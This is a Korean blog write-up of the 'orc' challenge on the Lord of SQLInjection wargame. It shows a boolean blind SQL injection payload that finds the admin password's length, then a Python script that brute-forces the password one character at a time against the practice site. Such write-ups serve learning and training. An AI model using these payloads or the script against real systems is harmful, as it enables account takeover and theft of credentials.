[ Lord of SQLInjection ] orc

Hyeonjin Lee·2023년 3월 24일
0

문제 분석


  1. 입력한 pw값과 실제 pw가 일치해야 문제를 해결할 수 있다.
  2. 특별한 필터링은 없다.

문제 풀이


pw가 올바른지 검사하는 부분이 존재한다. 따라서 단순히 우회하여 admin계정을 탈취하는 것이 아니라 정확한 pw를 알아내야 한다.


?pw=aaa' or id='admin' and length(pw) = 8%23

length함수를 이용하면 pw의 길이를 찾을 수 있다.
length가 8일 때 "Hello admin"이 출력된 것을 보아 pw의 길이는 8이다.


길이를 구하면 이제 한 글자씩 비교하면서 pw를 구할 수 있다.
다음과 같은 함수를 사용할 수 있다.

  • substr()
  • substring()
  • mid
  • left
  • right

직접 하나씩 입력해도 되지만 시간이 오래 걸리므로 자동화 코드를 작성하면 편하게 pw를 구할 수 있다.

import requests

cookie = {'PHPSESSID': '사용자세션'}
address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

answer = ''

for i in range(1,9):
    for j in string:
        url = f"{address}?pw=' or id='admin' and substr(pw,{i},1) = '{j}'%23"
        res = requests.get(url, cookies=cookie)
        print(j)
        if "Hello admin" in res.text:
            answer += j
            print(f'[+] Find : {answer}')
            break

구한 pw를 입력하면 문제를 해결할 수 있다.

profile
요즘 행복해요

0개의 댓글